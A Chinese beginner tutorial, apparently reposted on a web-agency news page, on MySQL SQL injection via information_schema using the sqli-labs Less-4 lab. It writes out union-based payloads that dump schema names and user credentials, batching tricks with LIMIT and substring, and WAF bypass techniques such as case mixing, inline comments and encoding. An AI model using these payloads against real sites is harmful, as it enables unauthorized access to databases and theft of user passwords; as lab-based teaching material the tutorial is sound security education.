ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

新手向从0剖析漏洞之SQL注入information_schema--0x0004

新手向从0剖析漏洞之SQL注入information_schema--0x0004 前言在SQL注入讲解的前期我们先使用最经典的sqli-lab靶场进行分析一、information_schema以下介绍仅针对MySQL1. 什么是information_schemainformation_schema是MySQL内置的一个系统数据库提供对数据库元数据的访问包括数据库名、表名、列的数据类型、访问权限等信息。在MySQL 5.0及以上版本中这个数据库默认存在且不可被删除。它不是真正存储数据的业务数据库而是存储描述数据库的数据——也就是元数据。关键特性information_schema中的表实际上是只读视图不支持INSERT、UPDATE、DELETE操作。每个MySQL用户都可以访问information_schema但只能看到自己拥有权限的对象对应的行。2. 注入中最常用的三张核心表表名核心字段作用SCHEMATASCHEMA_NAME列出所有数据库名TABLESTABLE_SCHEMA、TABLE_NAME、TABLE_TYPE列出指定数据库中的所有表名COLUMNSTABLE_SCHEMA、TABLE_NAME、COLUMN_NAME、DATA_TYPE列出指定表中所有列名和数据类型这三张表构成了注入中“爆库→爆表→爆字段→爆数据”的完整攻击链。示例查询-- 获取当前数据库名通过database()函数不依赖information_schemaSELECTdatabase();-- 获取当前数据库所有表名SELECTtable_nameFROMinformation_schema.tablesWHEREtable_schemadatabase();-- 获取users表的所有列名SELECTcolumn_nameFROMinformation_schema.columnsWHEREtable_schemadatabase()ANDtable_nameusers;3. 为什么information_schema是注入攻击的核心目标在黑盒测试场景下攻击者无法直接查询SELECT * FROM users来获取数据——因为你连表名和字段名都不知道。information_schema的价值在于它让你在不知道表结构的情况下先获取表结构再利用表结构去查询真实数据。二、Less-4的information_schema实战1.前置条件结合文章0x0003我们已经能做到判断注入点并且使用联合查询获取数据库部分信息了所以接下来讲解的内容我们略去了前期信息收集的操作。值得一提的是像这样的元数据数据库并非存在于所有版本或所有类型的数据库。对于数据库版本获取我们可以参考文章0x0003中的获取方法虽然说这样的方法在当前远不如扫描工具通过数据库特征获取来得容易但如果实战中能做到则获取到的版本信息准确度远高于扫描工具可以极大程度缩小数据库该版本CVE的查找范围对于数据库类型获取我们使用基于数据库特征的扫描工具再加上人工对网站数据包、网站类型和网站文件进行综合判断。2.部分主流数据库元数据机制对照表information_schema实际上是SQL标准中所定义的但不同数据库对其支持程度差异很大下面按支持情况分类列出。数据库版本对应机制MySQL5.0原生information_schema。自5.0版本引入是SQL注入中最经典的元数据来源。包含SCHEMATA、TABLES、COLUMNS等核心表。PostgreSQL7.4原生information_schema最符合SQL标准。自7.4引入视图设计稳定提供大部分符合SQL标准的元数据访问方式。同时也有专有的pg_catalog系统目录。SQL Server7.0原生information_schema但实现不完整。符合ISO标准但功能相当不完整许多元数据仍需通过专有的sys架构视图获取。Oracle所有主流版本不支持information_schema。Oracle作为主流数据库中的显著例外并未实现该标准。它使用一套成熟且强大的专有数据字典视图如ALL_*、USER_*、DBA_*系列。MongoDB3.4NoSQL无SQL标准元数据。作为文档数据库它不使用information_schema。系统信息存储在特定的系统集合中如admin.system.version集合用于存储支持内部操作的元数据。3. 基于information_schema的完整信息爆破下面我们回到基于MySQL数据库的Less-4关卡继续分析。结合文章0x0003的内容我们可以查到MySQL的版本高于5.0以及当前数据库名接下来可以基于information_schema进行爆破。爆所有数据库名?id-1)unionselect1,2,group_concat(schema_name)frominformation_schema.schemata--爆当前数据库所有表名?id-1)unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schemadatabase()--爆users表的字段名?id-1)unionselect1,2,group_concat(column_name)frominformation_schema.columnswheretable_schemadatabase()andtable_nameusers--爆username和password数据注意一下这里我们如果要使用两个不同的group_concat()函数来查看不同列及其内容之间的对应关系那么最好在这两个函数里面加上相同的order by排序限制。这是因为数据库中存储的内容实际上并不是列表而是集合即数据之间并没有绝对的顺序只有对应关系且数据库在取数据时并没有严格规定默认以某种顺序取出主动排序是比较保险的做法。?id-1)unionselect1,group_concat(usernameorderbyid),group_concat(passwordorderbyid)fromusers--真实的网站和我们稳定运行的靶场并不一样由于其波动性数据库在取出数据时有可能因为某些状态的变化而导致优化器给两次取数据的任务安排了不同顺序标准虽然这是极小概率事件但为了严谨性我简单提一嘴。为了避免这样的问题我们可以尽量让数据在同一操作中取出同时也可增加易读性?id-1)unionselect1,group_concat(concat(username,:,password)),3fromusers--大家可以看到上面都使用了group_concat()这样的聚合函数这是因为查询出来的表名大概率是多行的但实际只能回显一行的数据因此需要通过聚合把多行合并到一行中显示。当然方法也不止这一种类似的函数还有很多这里只是说一个思路。但是在使用这类函数时还会碰到另外一种情况就是虽然我最终实现了聚合但是输出的长度是有限制的导致输出并不完整那么对于这样的情况我们该怎么解决呢方法有很多如果你能够查询到截断原因从浏览器、源码、数据库这三个方向思考那么可以在权限足够的情况下可以针对性地去修改限制比如在数据库层面可以使用堆叠注入通过SET操作设置回显长度但实战中比较鸡肋因为如果你真有这么高权限那为什么还要停留在数据库信息收集这一步呢不如直接尝试写入后门的操作。由于information_schema表存在层级关系且低级的表格同时也会记录高级表格的部分数据比如information_schema.columns表不仅仅记录了列的信息同时记录了列和表、数据库的对应关系也就是information_schema.tables、information_schema.schemata的部分数据。如果schemata表受到限制不妨换到其他低级的表格试一试这种思路在访问表格权限不足时同样适用也可以向外拓展到其他方向的渗透手法总之就是不要在一个点上死磕把思路放宽。如果网站上存在报错注入或者盲注的可能可以换一种攻击手法。由于目前我们只讲解过联合查询所以我只详细讲一下针对联合查询的绕过方法–分批查询可以借助LIMIT限制查询的范围进行分批查询直接放在语句中或者单开一个表分批都可以?id-1)unionselect1,2,table_namefrominformation_schema.tableswheretable_schemadatabase()limit0,1--这种比较精细化只能一个一个取?id-1)unionselect1,2,group_concat(table_name)from(selecttable_namefrominformation_schema.tableswheretable_schemadatabase()limit0,10)t--这种可以一次取多个可以通过一些截断函数如substring、mid分批读取?id-1)unionselect1,2,substring((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schemadatabase()),1,100)--这种方法也是最普适的在大多数外带数据的场景下分批输出大数据从而避免超出服务器流量限制阈值永远是王道4.与 sqli-labs 其他关卡映射尝试借助information_schema获取Less-2、Less-3、Less-12的所有用户信息。三、现代网站应用场景information_schema的攻防博弈1. 标准参数化查询下information_schema是否失效这点和文章0x0002闭合手法的情况类似不多赘述。2. ORM误用场景raw查询中的information_schema注入ORM框架如TypeORM、Sequelize、Prisma提供了raw查询开发者在使用这些方法时可能绕过ORM的参数化保护。3. WAF对information_schema的检测与绕过由于information_schema是SQL注入中最高频的关键词之一主流WAF通常将其列入检测规则。但WAF的检测存在可绕过的空间大小写混淆部分WAF对INFORMATION_SCHEMA大小写不敏感但可能忽略infOrmation_sChema等变体。内联注释拆分使用/*!50000information_schema*/或information/**/_schema等手法绕过关键词匹配。编码变形URL编码或双重编码绕过某些WAF的解码逻辑。替代方案当information_schema被完全过滤时可使用MySQL 5.7的sys.schema_table_statistics_with_buffer或performance_schema等替代元数据来源。4. 权限边界低权限用户下的information_schema实战中如果目标应用的数据库连接使用了低权限账户information_schema的爆破效果会大打折扣——你可能只能看到当前应用使用的数据库而无法跨库查询注意跨库查询的限制不仅仅是权限还取决于数据库是否支持以及配置情况。后记希望各位业内的老师傅能纠正文章的错误非商业用途仅供交流学习禁止转载
返回列表